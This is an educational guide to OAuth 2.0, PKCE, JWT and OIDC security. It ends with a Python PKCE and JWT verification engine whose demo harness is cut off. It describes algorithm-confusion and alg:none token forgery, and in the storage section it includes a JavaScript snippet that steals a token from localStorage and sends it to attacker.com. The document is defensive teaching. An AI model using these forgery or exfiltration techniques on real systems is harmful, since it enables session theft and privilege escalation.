Modern distributed computing environments, microservice ecosystems, and cloud architectures rely on delegated authorization and cryptographically verifiable identity claims. Traditional monolithic patterns where users entrusted their primary credentials (passwords, private keys, or API secrets) directly to third-party clients created severe security vulnerabilities: applications gained unrestricted, permanent access to user accounts, credentials could not be revoked without global password resets, and compromised client storage exposed primary identity credentials across unrelated systems.
To resolve these systemic failures, the Internet Engineering Task Force (IETF) standardized the OAuth 2.0 Authorization Framework (RFC 6749) and the OpenID Connect (OIDC) identity federation layer. OAuth 2.0 decouples authentication from authorization by introducing an intermediary authorization server that grants scoped, short-lived bearer access tokens to third-party applications. To secure single-page applications (SPAs) and native mobile clients incapable of storing confidential secrets, Proof Key for Code Exchange (PKCE, RFC 7636) establishes dynamic, ephemeral cryptographic challenges that prevent authorization code interception. Furthermore, JSON Web Tokens (JWT, RFC 7519) provide compact, self-contained, and cryptographically verifiable data structures for transmitting authorization claims across untrusted network boundaries without requiring synchronous database lookups at every downstream resource server.
This comprehensive architectural guide explores the mathematical principles, cryptographic protocols, token structures, security vulnerabilities, and defensive implementations governing OAuth 2.0, PKCE, and JWT infrastructure.
1. Architectural Foundations: Identity vs. Delegated Access#
Security engineering requires an absolute distinction between authentication (verifying who an entity is) and authorization (determining what permissions an authenticated entity possesses). Confusing these two distinct domains is one of the most common causes of high-severity vulnerabilities in modern web applications.
+-------------------------------------------------------------------------+
| AUTHENTICATION vs. AUTHORIZATION |
+-------------------------------------------------------------------------+
| Dimension | Authentication (AuthN) | Authorization (AuthZ) |
+-----------------+---------------------------+---------------------------+
| Question Asked | "Who are you?" | "What can you access?" |
| Primary Actor | Identity Provider (IdP) | Authorization Server / RS |
| Primary Standard| OpenID Connect (OIDC) | OAuth 2.0 (RFC 6749) |
| Artifact Issued | ID Token (identity card) | Access Token (valet key) |
| Target Consumer | Client Application | Resource Server (API) |
| Analogy | Passport or Driver License| Keycard with room access |
+-----------------+---------------------------+---------------------------+The Credential Sharing Anti-Pattern#
Prior to standardized delegated authorization, a client application requiring access to a user's data on a third-party platform had to demand the user's plaintext username and password. For instance, a third-party calendar printing tool would require a user's master Google or Yahoo credentials.
This credential-sharing anti-pattern introduced fatal security risks:
- Unscoped Omnipotence: The client gained complete administrative control over the user's entire account, including email, documents, financial records, and security settings.
- Permanent Access: The client retained user credentials in plaintext or reversible storage indefinitely.
- No Granular Revocation: The resource owner could not revoke access to a specific client without resetting their primary password, which simultaneously broke all other legitimate integrations.
- Credential Exposure: Any data breach or memory dump of the client immediately leaked primary user credentials, enabling credential stuffing attacks across unrelated web properties.
The Four Fundamental OAuth 2.0 Roles#
RFC 6749 formalizes delegated authorization across four specialized architectural entities:
- Resource Owner: The entity capable of granting access to a protected resource (typically the end-user).
- Resource Server (RS): The server hosting the protected user resources, capable of accepting and responding to protected resource requests using access tokens.
- Client: An application requesting access to protected resources on behalf of the Resource Owner and with its authorization.
- Authorization Server (AS): The server issuing access tokens to the client after successfully authenticating the resource owner and obtaining authorization. In enterprise deployments, the Authorization Server and Resource Server may be separate services or collocated within a unified identity platform.
Client Profiles: Confidential vs. Public Clients#
OAuth 2.0 establishes two distinct operational profiles based on a client's capability to maintain the confidentiality of credentials:
- Confidential Clients: Applications implemented on a secure backend server where source code and credentials (such as a
client_secretor private RSA key) are never exposed to end-users or client-side inspection. Examples include traditional server-rendered web applications (Django, Spring Boot, ASP.NET Core, Ruby on Rails) communicating directly with the authorization server via TLS backchannels. - Public Clients: Applications running entirely on user devices where compiled binaries, JavaScript bundles, network traffic, and local storage can be reverse-engineered, decompiled, or inspected. Examples include Single-Page Applications (React, Vue, Angular executing inside browser engines) and native mobile or desktop software (iOS, Android, Electron apps). Public clients cannot securely store static client secrets.
2. OAuth 2.0 Protocol Grant Types & Architectural Workflows#
An authorization grant represents the credential representing the resource owner's authorization, which the client uses to obtain an access token. RFC 6749 defines four core grant types, alongside specialized extensions developed for modern security paradigms.
+-------------------------------------------------------------------------+
| OAUTH 2.0 GRANT TYPE TAXONOMY |
+-------------------------------------------------------------------------+
| Grant Type | Client Profile | Security Status | Use Case |
+-----------------------+----------------+-----------------+--------------+
| Authorization Code | Confidential | Recommended | Server apps |
| Auth Code with PKCE | Public & Conf. | Mandatory | SPAs, Mobile |
| Client Credentials | Confidential | Recommended | Microservices|
| Refresh Token Flow | Conf. & Public | Recommended | Token renewal|
| Implicit Flow | Public | DEPRECATED | Historical |
| Resource Owner Passwd | Confidential | DEPRECATED | Migration |
+-----------------------+----------------+-----------------+--------------+The Authorization Code Grant (Confidential Clients)#
The Authorization Code Grant is the foundational, highest-assurance flow designed for confidential clients capable of authenticating themselves via backchannel requests. It utilizes both a frontend browser channel (user-agent) and a backend direct server-to-server TLS connection.
+----------+
| Resource |
| Owner |
| (User) |
+----+-----+
|
| 1. Initiates Action
v
+-----+----+ 2. Redirect to AS +---------------+
| | -----------------------------------> | |
| Client | | Authorization |
| (Backend | 3. Authenticate & Consent | Server |
| Server) | <==================================> | (AS) |
| | | |
| | 4. Auth Code Redirect | |
| | <----------------------------------- | |
| | +---------------+
| | 5. Exchange Code + Secret ^
| | ---------------------------------------------|
| | 6. Access Token + Refresh Token |
| | <--------------------------------------------+
+-----+----+
|
| 7. Request with Access Token
v
+-----+----+
| Resource |
| Server |
| (RS) |
+----------+Step-by-Step Protocol Walkthrough#
- Authorization Request (Browser Frontchannel):
The client directs the user's browser to the Authorization Server's authorization endpoint via HTTP GET:
```http
GET /authorize?
response_type=code
&client_id=s6BhdRkqt3
&redirect_uri=https%3A%2F%2Fclient.example.com%2Fcb
&scope=read%3Aprofile%20write%3Aorders
&state=xyz987654321 HTTP/1.1
Host: server.example.com
```
- response_type=code: Informs the server that the client expects an authorization code.
- client_id: The public identifier of the client application.
- redirect_uri: The endpoint where the authorization server returns the user after granting authorization. Must strictly match the pre-registered whitelist.
- scope: The granular permissions requested by the client.
- state: A cryptographically secure, high-entropy random value generated by the client to maintain state across the redirection and prevent Cross-Site Request Forgery (CSRF).
- Authentication & Consent:
The authorization server verifies the user's identity (prompting for credentials and multi-factor authentication if no active session exists) and displays a consent screen detailing the exact scopes requested.
- Authorization Code Issuance (Frontchannel Redirect):
Upon user approval, the authorization server redirects the user's browser back to the registered redirect_uri with an ephemeral authorization code and the original state parameter:
```http
HTTP/1.1 302 Found
Location: https://client.example.com/cb?
code=SplxlOBeZQQYbYS6WxSbIA
&state=xyz987654321
```
The client application verifies that the returned state parameter matches the exact state stored in the user's browser session. If the state does not match or is absent, the transaction is immediately aborted.
- Token Exchange Request (Direct Backchannel):
The client backend server makes a direct, secure POST request over TLS to the authorization server's token endpoint:
```http
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code
&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient.example.com%2Fcb
```
The client authenticates itself using HTTP Basic Authentication (Base64(client_id:client_secret)) or POST body credentials.
- Token Response:
The authorization server validates the client credentials, verifies that the authorization code is valid, has not expired (typically 30 to 60 second lifetime), was issued to this exact client, and matches the identical redirect_uri. If valid, it responds with an access token:
```http
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache
{
"access_token": "eyJhbGciOiJSUzI1NiIs...",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "tGzv3JOkF0XG5Qx2TlKWIA",
"scope": "read:profile write:orders"
}
```
Deprecated Grant Types: Security Flaws of Implicit & Password Grants#
The OAuth 2.1 ongoing consolidation and modern security best practices explicitly deprecate two legacy flows:
- The Implicit Grant (`response_type=token`):
Originally created for browser-based JavaScript apps before Cross-Origin Resource Sharing (CORS) was widely supported. In this flow, the access token was returned directly in the URI fragment (#access_token=...) of the redirection URI.
- Vulnerability 1 (Referer Leakage): If the client application page loaded external third-party assets (images, analytics, scripts), the browser leaked the full URL including the access token in the Referer HTTP request header.
- Vulnerability 2 (Browser History & Logging): URI fragments remain stored in browser history files, local proxy logs, and mobile operating system logs.
- Vulnerability 3 (No Sender Constraining or Client Authentication): Malicious scripts executing via Cross-Site Scripting (XSS) could immediately extract the token from window.location.hash.
- Resource Owner Password Credentials Grant (ROPC):
In this legacy grant, the client prompted the user directly for their username and password and forwarded them to the token endpoint.
- Vulnerability: Completely violates the core premise of OAuth by exposing master user credentials to the client application, training users to enter credentials into untrusted prompts, and preventing multi-factor authentication (MFA) or identity federation.
Client Credentials Grant (Machine-to-Machine Communication)#
When applications communicate directly without any user context (e.g., automated cron daemons, internal microservices fetching billing records, system-level monitoring agents), the Client Credentials Grant (RFC 6749 Section 4.4) is used.
POST /token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencoded
grant_type=client_credentials
&scope=service:metrics:writeThe authorization server validates the client credentials directly and returns an access token representing the client's own identity, without any associated user context.
3. Proof Key for Code Exchange (PKCE, RFC 7636)#
Public clients (mobile apps and Single-Page Applications) cannot protect a static client_secret. On native mobile operating systems (iOS and Android), applications register custom URI schemes (e.g., myapp://oauth-callback) to receive redirection responses. Because multiple applications can register identical URI schemes, a malicious rogue application installed on the user's mobile device can hijack the incoming authorization code.
+-------------------------------------------------------------------------+
| THE AUTHORIZATION CODE INTERCEPTION ATTACK |
+-------------------------------------------------------------------------+
| |
| 1. Legitimate App initiates Authorization Request |
| Browser opens -> User authenticates with Authorization Server |
| |
| 2. AS redirects to custom URI scheme: "myapp://oauth-callback?code=X" |
| |
| 3. Operating System routes "myapp://" to a MALICIOUS App installed |
| on the device that registered the identical custom scheme! |
| |
| 4. Malicious App captures code "X", contacts Token Endpoint, and |
| exchanges it for an Access Token (since no secret is required)! |
+-------------------------------------------------------------------------+Proof Key for Code Exchange (PKCE, pronounced "pixy") mathematically binds the authorization request to the token exchange request, ensuring that the entity initiating the authorization is the exact identical entity redeeming the code.
The PKCE Mathematical & Cryptographic Protocol#
PKCE introduces two ephemeral parameters generated per authorization transaction:
- Code Verifier: A cryptographically random, high-entropy string v generated using unreserved URL characters:
CharacterSet = {[A-Z], [a-z], [0-9], "-", ".", "_", "~"}
The length L of the code verifier must satisfy:
43 <= L <= 128
The minimum entropy E of a 43-character string chosen uniformly from 66 unreserved characters is:
E = 43 * log2(66) ≈ 43 * 6.044 = 259.9 bits of entropy
This exceeds standard 256-bit cryptographic strength requirements, rendering brute-force or precomputation dictionary attacks mathematically impossible.
- Code Challenge: The transformed representation of the code verifier transmitted in the public authorization request. Two transformation methods exist:
- S256 (Mandatory for modern systems):
code_challenge = Base64URL-Encode(SHA-256(code_verifier))
- Plain (Deprecated, insecure against eavesdropping):
code_challenge = code_verifier
PKCE Execution Sequence#
+---------------+ +-------------------+ +---------------+
| Client (SPA / | | User-Agent | | Authorization |
| Mobile App) | | (Browser) | | Server |
+-------+-------+ +---------+---------+ +-------+-------+
| | |
| 1. Generate code_verifier (v) | |
| Compute challenge: | |
| c = Base64URL(SHA256(v)) | |
| | |
| 2. Redirect with challenge (c) | |
| -----------------------------> | 3. GET /authorize |
| | ?code_challenge=c |
| | &code_challenge_method=S256 |
| | -----------------------------> |
| | | 4. Stores 'c'
| | | alongside
| | 5. Returns Auth Code (code) | new code
| | <----------------------------- |
| 6. Intercepts redirect / cb | |
| <----------------------------- | |
| |
| 7. POST /token |
| code=code |
| &code_verifier=v |
| --------------------------------------------------------------> |
| | 8. Computes:
| | c' = Base64URL(
| | SHA256(v))
| | Verifies:
| | c' == c
| 9. Returns Access Token |
| <-------------------------------------------------------------- |
+-------+-------+ +---------+---------+ +---------------+Why PKCE Defeats Interception Attacks#
If a malicious application on the device intercepts the authorization code from the custom scheme redirect, it cannot redeem it at the token endpoint. The token endpoint demands the plaintext code_verifier (v). Because SHA-256 is a cryptographically secure one-way hash function exhibiting pre-image resistance:
Given c = SHA-256(v), computing v requires on average O(2^256) operations.
The attacker cannot compute v from c, nor can they extract v from the legitimate application's isolated memory space. When the attacker submits the stolen code without v, or with an incorrect verifier, the authorization server rejects the request.
4. JSON Web Tokens (JWT, RFC 7519) Deep Architectural Anatomy#
An access token can be either opaque or structured.
- An opaque token is an arbitrary high-entropy string (e.g., 32 random hex bytes) functioning as a database key. Every time a resource server receives an opaque token, it must perform a synchronous remote network call (Token Introspection, RFC 7662) or database lookup to verify its validity, user identity, and scopes.
- A structured token, predominantly implemented as a JSON Web Token (JWT), contains serialized claims cryptographically signed by the authorization server. Downstream microservices and resource servers can independently verify the token's validity, authenticity, and payload locally in microseconds without database queries.
The Three-Part Token Structure#
A JWT consists of three distinct components separated by ASCII period (.) characters:
JWT = Header || "." || Payload || "." || Signature
+-------------------------------------------------------------------------+
| JWT COMPONENT ARCHITECTURE |
+-------------------------------------------------------------------------+
| eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 |
| . |
| eyJzdWIiOiJ1c3ItMTI4OTQiLCJuYW1lIjoiQWxpY2UiLCJyb2xlIjoiYWRtaW4ifQ |
| . |
| dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk... |
+-------------------------------------------------------------------------+Base64URL Encoding vs. Standard Base64#
JWT specifications mandate Base64URL encoding (RFC 4648 Section 5) rather than standard Base64 encoding. Standard Base64 uses the characters + and /, and pads outputs with =. In HTTP environments, + is parsed by query parsers as a space character, / represents a URL path segment separator, and = conflicts with URL query parameter delimiters.
+-------------------------------------------------------------------------+
| BASE64 vs. BASE64URL ENCODING |
+-------------------------------------------------------------------------+
| Character Index | Standard Base64 (RFC 4648 §4) | Base64URL (RFC 4648 §5)|
+-----------------+-------------------------------+-----------------------+
| 62 | + (plus) | - (hyphen / minus) |
| 63 | / (forward slash) | _ (underscore) |
| Padding | = (equals) | OMITTED (no padding) |
+-----------------+-------------------------------+-----------------------+Component 1: The JOSE Header#
The JSON Object Signing and Encryption (JOSE) header describes the cryptographic algorithms and metadata applied to the token:
{
"alg": "RS256",
"typ": "JWT",
"kid": "auth-key-2026-q4"
}alg(Algorithm): The cryptographic signing algorithm used to secure the token. Standard options includeHS256(HMAC using SHA-256),RS256(RSA Signature with SHA-256),ES256(ECDSA using P-256 and SHA-256), andEdDSA(Ed25519).typ(Type): Declares the media type of the token (JWT).kid(Key ID): A hint indicating which key was used to sign the token. Essential for zero-downtime cryptographic key rotation in JSON Web Key Sets (JWKS).
Component 2: The Payload (Claims Set)#
The payload contains the claims—statements about an entity (typically the user) and additional metadata:
{
"iss": "https://auth.enterprise.com",
"sub": "usr_99812402",
"aud": "https://api.enterprise.com/orders",
"exp": 1793404800,
"nbf": 1793401200,
"iat": 1793401200,
"jti": "d3b07384-d113-4c91-9c8e-a9b0e12b7a94",
"roles": ["order_manager", "finance_auditor"],
"tenant_id": "cust_acme_corp"
}Claims are classified into three distinct categories:
- Registered Claims: Standardized, globally registered claim keys recommended by RFC 7519:
- iss (Issuer): String identifying the principal that issued the JWT.
- sub (Subject): String identifying the principal that is the subject of the JWT (e.g., unique user ID).
- aud (Audience): String or array of strings identifying the recipients that the JWT is intended for. A resource server MUST reject any token whose aud does not match its own identifier.
- exp (Expiration Time): Unix epoch timestamp (seconds) identifying when the token expires. Resource servers MUST reject tokens where current_time >= exp.
- nbf (Not Before): Unix epoch timestamp identifying the time before which the JWT MUST NOT be accepted for processing.
- iat (Issued At): Unix epoch timestamp identifying when the token was created.
- jti (JWT ID): Unique case-sensitive string identifier for the token. Provides a unique nonce enabling distributed resource servers to detect and block token replay attacks.
- Public Claims: Custom claims defined by application developers collision-resistant through registration in the IANA JSON Web Token Registry or namespaced via URIs (e.g.,
https://example.com/jwt_claims/role). - Private Claims: Custom agreed-upon claims shared between parties to transmit business context (e.g.,
tenant_id,department).
Component 3: Cryptographic Signature#
The signature is computed over the Base64URL-encoded header concatenated with the Base64URL-encoded payload, separated by a period:
SigningInput = Base64URL(Header) || "." || Base64URL(Payload)
The signature algorithm depends on the selected security architecture:
- Symmetric Signing (`HS256` - HMAC-SHA256):
A single symmetric secret key K is shared between the authorization server and all resource servers:
Signature = Base64URL(HMAC-SHA-256(K, SigningInput))
Limitation: Every resource server that verifies the token must possess the secret key K. Because knowledge of K allows forging valid signatures, any compromised resource server can forge tokens claiming arbitrary identities or privileges.
- Asymmetric Signing (`RS256` - RSA Signature with SHA-256):
The authorization server signs the token using its private key K_priv, and all resource servers verify the signature using the publicly distributed public key K_pub:
Signature = Base64URL(RSASSA-PKCS1-v1_5-Sign(K_priv, SHA-256(SigningInput)))
Resource servers only possess K_pub. If a resource server is compromised, the attacker cannot forge valid tokens for other microservices.
- Elliptic Curve Signing (`ES256` - ECDSA using Curve P-256):
Uses Elliptic Curve Digital Signature Algorithm. Provides equivalent 128-bit cryptographic security to a 3072-bit RSA key using only a 256-bit key, resulting in significantly shorter tokens and reduced network overhead.
5. Critical Vulnerabilities & Cryptographic Attack Vectors#
Because JSON Web Tokens decouple verification from centralized storage, subtle implementation defects in parsing, algorithm selection, and validation can result in total system compromise.
Vulnerability 1: The Algorithm Confusion / Key Substitution Attack#
The algorithm confusion attack is one of the most severe vulnerabilities affecting JWT verification libraries. It occurs when a server configured to verify asymmetric tokens (RS256) accepts symmetric tokens (HS256) signed with the server's public key treated as an HMAC secret.
+-------------------------------------------------------------------------+
| ALGORITHM CONFUSION ATTACK MECHANICS |
+-------------------------------------------------------------------------+
| |
| 1. Authorization Server publishes its Public RSA Key: |
| -----BEGIN PUBLIC KEY----- |
| MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... |
| -----END PUBLIC KEY----- |
| |
| 2. Downstream API Server has code: |
| jwt.verify(token, rsa_public_key) |
| |
| 3. Attacker crafts forged payload: |
| {"sub": "admin", "roles": ["super_admin"]} |
| |
| 4. Attacker changes header: |
| {"alg": "HS256", "typ": "JWT"} |
| |
| 5. Attacker signs the token using HMAC-SHA256, passing the raw bytes |
| of the server's PUBLIC key as the HMAC secret! |
| |
| 6. Vulnerable Server checks header, sees "HS256", executes: |
| HMAC_SHA256(key=rsa_public_key, data=SigningInput) |
| |
| 7. The signature matches! Attacker gains full administrative access! |
+-------------------------------------------------------------------------+Mathematical Basis of the Flaw:
An HMAC algorithm accepts arbitrary binary strings as secret keys. An RSA public key is a known, publicly readable string or byte sequence. If the verification library determines the algorithm dynamically from the untrusted token's JOSE header (token.header.alg) instead of enforcing a hardcoded server-side expectation, it passes the public key variable into the HMAC function. Because the attacker signed the token using that identical public key string, the computed HMAC matches the provided signature exactly.
Mitigation:
Resource servers must never allow the token header to determine the verification algorithm:
# SECURE: Explicitly enforce the allowed algorithm list
decoded_payload = jwt.decode(
token,
public_key,
algorithms=["RS256"] # Explicitly rejects HS256 regardless of header
)Vulnerability 2: The `alg: "none"` Exploit#
RFC 7519 defines an alg value of "none" intended for unsecured tokens where integrity is protected by external transport security (e.g., mutually authenticated TLS).
If a server library permits "none", an attacker can take any valid token, modify the payload to assert administrative privileges:
{"alg": "none", "typ": "JWT"}
.
{"sub": "victim_admin", "roles": ["super_admin"]}
.By removing the signature part (retaining the trailing period) and setting alg: "none", buggy verification libraries that skip signature verification when alg == "none" accept the forged payload as authentic.
Mitigation:
Production JWT verifiers must categorically reject any token specifying alg: "none".
Vulnerability 3: Insecure Storage & The XSS vs. CSRF Dilemma#
Where an application stores its tokens in the browser determines its vulnerability to client-side attacks:
+-------------------------------------------------------------------------+
| CLIENT TOKEN STORAGE SECURITY MATRIX |
+-------------------------------------------------------------------------+
| Storage Location | XSS Vulnerability | CSRF Vulnerability |
+-----------------------+---------------------+---------------------------+
| localStorage | HIGH (Exposed to any| Immune (Requires JS to |
| | running script) | attach Bearer header) |
| sessionStorage | HIGH (Exposed to any| Immune (Requires JS to |
| | running script) | attach Bearer header) |
| In-Memory (JS Var) | MODERATE (Transient | Immune |
| | but extractable) | |
| Cookie (No flags) | HIGH (Read via | HIGH (Auto-sent by browser|
| | document.cookie) | on cross-site requests) |
| Cookie (HttpOnly, | IMMUNE (Inaccessible| HIGH (Requires CSRF tokens|
| Secure, SameSite) | to JavaScript DOM) | or SameSite=Strict) |
+-----------------------+---------------------+---------------------------+- The `localStorage` Trap:
Storing access tokens in localStorage or sessionStorage makes them globally readable by any JavaScript running in the origin. A single Cross-Site Scripting (XSS) flaw in any third-party script, analytics tag, or UI library allows an attacker to execute:
```javascript
const stolenToken = localStorage.getItem("access_token");
fetch("https://attacker.com/exfiltrate?token=" + encodeURIComponent(stolenToken));
```
The attacker immediately possesses the bearer token and can access APIs directly from their own infrastructure.
- The Defense-in-Depth Cookie Architecture:
Tokens should be stored in HTTP cookies configured with three mandatory security attributes:
- HttpOnly: Prevents client-side scripts from accessing document.cookie, completely eliminating token exfiltration via XSS.
- Secure: Restricts cookie transmission exclusively to encrypted HTTPS connections.
- SameSite=Strict (or SameSite=Lax): Instructs the browser not to send the cookie on cross-site subrequests, mitigating Cross-Site Request Forgery (CSRF). When coupled with custom request headers (e.g., X-Requested-With: XMLHttpRequest), CSRF attacks are prevented.
Vulnerability 4: The Revocation Dilemma & Statelessness Trade-off#
Because JWTs are self-contained and verified locally, once issued, a JWT is valid until its expiration timestamp (exp). If a user's account is compromised, their password changed, or their administrative privileges revoked, their existing JWT remains accepted by all resource servers.
Defensive Architectural Solutions:
- Aggressive Expiration Lifetimes:
Access tokens should have extremely short lifetimes (e.g., 5 to 15 minutes). Privileges revoked at the authorization server take effect downstream as soon as the active access token expires.
- Refresh Token Rotation (RTR):
Clients use a long-lived refresh_token stored in an HttpOnly cookie to obtain new short-lived access tokens. Every time a refresh token is used, the authorization server invalidates that refresh token and issues a brand-new refresh token alongside the new access token. If a previously redeemed refresh token is submitted again, the authorization server recognizes a token replay attack, immediately invalidates the entire chain/family of refresh tokens, and forces the user to re-authenticate.
- Distributed Revocation Lists (Bloom Filters & Redis):
For instantaneous emergency revocation (e.g., employee termination), the authorization server publishes the jti (JWT ID) of revoked tokens to an in-memory Redis cluster. Downstream resource servers check this blacklist during request processing. To minimize memory consumption, a Redis Bloom filter provides near-instantaneous rejection with zero false negatives.
6. OpenID Connect (OIDC) & JSON Web Key Sets (JWKS)#
OpenID Connect 1.0 is an identity layer built directly on top of the OAuth 2.0 protocol. While OAuth 2.0 issues access tokens for accessing APIs, OIDC issues an ID Token to provide cryptographically verifiable proof of the user's authentication.
+-------------------------------------------------------------------------+
| OIDC ARTIFACT COMPARISON |
+-------------------------------------------------------------------------+
| Parameter | Access Token (OAuth 2.0) | ID Token (OIDC) |
+--------------------+--------------------------+-------------------------+
| Purpose | Delegated Authorization | Federated Identity |
| Intended Recipient | Resource Server (API) | Client Application |
| Typical Format | Opaque string or JWT | Always a signed JWT |
| Key Claims | scope, client_id, aud | sub, iss, auth_time, |
| | | email, nonce, aud |
| Consumed By | Backend API Gateways | Client UI & Session Mgr |
+--------------------+--------------------------+-------------------------+The Discovery Document (`.well-known/openid-configuration`)#
OIDC standardizes dynamic metadata discovery. Clients can automatically discover endpoints, supported signing algorithms, and public key locations by querying:
https://auth.example.com/.well-known/openid-configuration
{
"issuer": "https://auth.example.com",
"authorization_endpoint": "https://auth.example.com/oauth2/v1/authorize",
"token_endpoint": "https://auth.example.com/oauth2/v1/token",
"userinfo_endpoint": "https://auth.example.com/oauth2/v1/userinfo",
"jwks_uri": "https://auth.example.com/oauth2/v1/keys",
"response_types_supported": ["code"],
"id_token_signing_alg_values_supported": ["RS256", "ES256"],
"code_challenge_methods_supported": ["S256"]
}JSON Web Key Sets (JWKS) & Key Rotation#
Resource servers fetch the public keys required to verify incoming signatures from the jwks_uri. A JWKS is a JSON object containing an array of JSON Web Keys (JWK, RFC 7517):
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "key-2026-rsa-primary",
"n": "u1W1x...[Base64URL Modulus]...",
"e": "AQAB"
},
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"kid": "key-2026-rsa-next",
"n": "w9X2y...[Base64URL Modulus]...",
"e": "AQAB"
}
]
}kty(Key Type): Identifies the cryptographic algorithm family (e.g.,RSA,EC).use(Public Key Use): Identifies the intended use (sigfor signature verification,encfor encryption).nande: The cryptographic modulus and public exponent of the RSA public key.- Key rotation occurs transparently: the authorization server signs new tokens with
key-2026-rsa-next. Downstream resource servers read thekidin the token's header, locate the matching key in their cached JWKS, and verify the signature without downtime.
7. Industrial Implementation: Cryptographic JWT Engine & PKCE Generator#
Below is a complete, self-contained, production-grade Python implementation of a secure PKCE generator and a cryptographically robust JWT engine. It implements Base64URL encoding without external libraries, computes S256 code challenges, and signs and verifies JWTs with constant-time signature comparison to defeat timing attacks.
import base64
import hashlib
import hmac
import json
import secrets
import string
import time
from typing import Dict, Any, Tuple, Optional
class Base64URL:
'''Provides RFC 4648 Section 5 Base64URL encoding and decoding.'''
@staticmethod
def encode(data: bytes) -> str:
'''Encodes raw bytes to a URL-safe base64 string without padding.'''
encoded = base64.urlsafe_b64encode(data).decode('ascii')
return encoded.rstrip('=')
@staticmethod
def decode(data: str) -> bytes:
'''Decodes a URL-safe base64 string, restoring missing padding.'''
padding_needed = (4 - (len(data) % 4)) % 4
padded = data + ('=' * padding_needed)
return base64.urlsafe_b64decode(padded.encode('ascii'))
class PKCECore:
'''Implements RFC 7636 Proof Key for Code Exchange protocol utilities.'''
UNRESERVED_CHARACTERS = string.ascii_letters + string.digits + "-._~"
@classmethod
def generate_code_verifier(cls, length: int = 64) -> str:
'''
Generates a cryptographically secure code verifier.
Length must satisfy 43 <= length <= 128 (RFC 7636 Section 4.1).
'''
if not (43 <= length <= 128):
raise ValueError("Code verifier length must be between 43 and 128 characters.")
# Select securely from unreserved character set
verifier = "".join(secrets.choice(cls.UNRESERVED_CHARACTERS) for _ in range(length))
return verifier
@classmethod
def generate_code_challenge_s256(cls, verifier: str) -> str:
'''
Computes code_challenge = Base64URL(SHA-256(verifier)).
RFC 7636 Section 4.2.
'''
verifier_bytes = verifier.encode('ascii')
digest = hashlib.sha256(verifier_bytes).digest()
return Base64URL.encode(digest)
@classmethod
def verify_challenge(cls, verifier: str, expected_challenge: str) -> bool:
'''Verifies code_verifier against expected challenge in constant time.'''
computed_challenge = cls.generate_code_challenge_s256(verifier)
return hmac.compare_digest(computed_challenge, expected_challenge)
class SecureJWTEngine:
'''
Production cryptographic JWT engine enforcing strict algorithm whitelisting,
constant-time signature comparison, and full registered claim validation.
'''
def __init__(self, hmac_secret: bytes, expected_issuer: str, expected_audience: str):
if len(hmac_secret) < 32:
raise ValueError("HMAC secret key must be at least 256 bits (32 bytes) long.")
self.secret = hmac_secret
self.issuer = expected_issuer
self.audience = expected_audience
def create_token(self, subject: str, custom_claims: Dict[str, Any], ttl_seconds: int = 900) -> str:
'''Creates and signs a new HS256 JWT with registered claims.'''
current_time = int(time.time())
header = {
"alg": "HS256",
"typ": "JWT"
}
payload = {
"iss": self.issuer,
"sub": subject,
"aud": self.audience,
"iat": current_time,
"nbf": current_time,
"exp": current_time + ttl_seconds,
"jti": secrets.token_hex(16)
}
payload.update(custom_claims)
header_json = json.dumps(header, separators=(',', ':'), sort_keys=True).encode('utf-8')
payload_json = json.dumps(payload, separators=(',', ':'), sort_keys=True).encode('utf-8')
header_b64 = Base64URL.encode(header_json)
payload_b64 = Base64URL.encode(payload_json)
signing_input = f"{header_b64}.{payload_b64}".encode('ascii')
signature_bytes = hmac.new(self.secret, signing_input, hashlib.sha256).digest()
signature_b64 = Base64URL.encode(signature_bytes)
return f"{header_b64}.{payload_b64}.{signature_b64}"
def decode_and_verify(self, token: str, leeway_seconds: int = 30) -> Dict[str, Any]:
'''
Parses, cryptographically verifies, and validates token claims.
Rejects invalid algorithms, forged signatures, and expired tokens.
'''
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Malformed JWT: Must contain exactly three dot-separated segments.")
header_b64, payload_b64, signature_b64 = parts
# Step 1: Decode and strictly enforce Header constraints
try:
header_bytes = Base64URL.decode(header_b64)
header = json.loads(header_bytes.decode('utf-8'))
except Exception as e:
raise ValueError(f"Invalid JWT Header encoding: {e}")
# Mitigate Algorithm Confusion and 'none' exploit: Hard-enforce HS256
if header.get("alg") != "HS256":
raise ValueError(f"Unsupported algorithm '{header.get('alg')}'. Only 'HS256' is permitted.")
# Step 2: Cryptographically verify signature in constant time
signing_input = f"{header_b64}.{payload_b64}".encode('ascii')
expected_sig_bytes = hmac.new(self.secret, signing_input, hashlib.sha256).digest()
try:
provided_sig_bytes = Base64URL.decode(signature_b64)
except Exception:
raise ValueError("Invalid Base64URL signature encoding.")
# hmac.compare_digest mitigates timing attacks
if not hmac.compare_digest(expected_sig_bytes, provided_sig_bytes):
raise PermissionError("Cryptographic signature verification failed: Token has been forged or tampered.")
# Step 3: Decode and validate Payload claims
try:
payload_bytes = Base64URL.decode(payload_b64)
payload = json.loads(payload_bytes.decode('utf-8'))
except Exception as e:
raise ValueError(f"Invalid JWT Payload encoding: {e}")
current_time = int(time.time())
# Validate Expiration (exp)
if "exp" not in payload:
raise ValueError("Token missing mandatory 'exp' (expiration) claim.")
if current_time >= (payload["exp"] + leeway_seconds):
raise PermissionError(f"Token expired at {payload['exp']}. Current time: {current_time}.")
# Validate Not Before (nbf)
if "nbf" in payload and (current_time + leeway_seconds) < payload["nbf"]:
raise PermissionError(f"Token not valid before {payload['nbf']}.")
# Validate Issuer (iss)
if payload.get("iss") != self.issuer:
raise PermissionError(f"Untrusted issuer '{payload.get('iss')}'. Expected '{self.issuer}'.")
# Validate Audience (aud)
if payload.get("aud") != self.audience:
raise PermissionError(f"Audience mismatch: '{payload.get('aud')}'. Expected '{self.audience}'.")
return payload
# Demonstration and Verification Harness
if __name__ == "__main__":
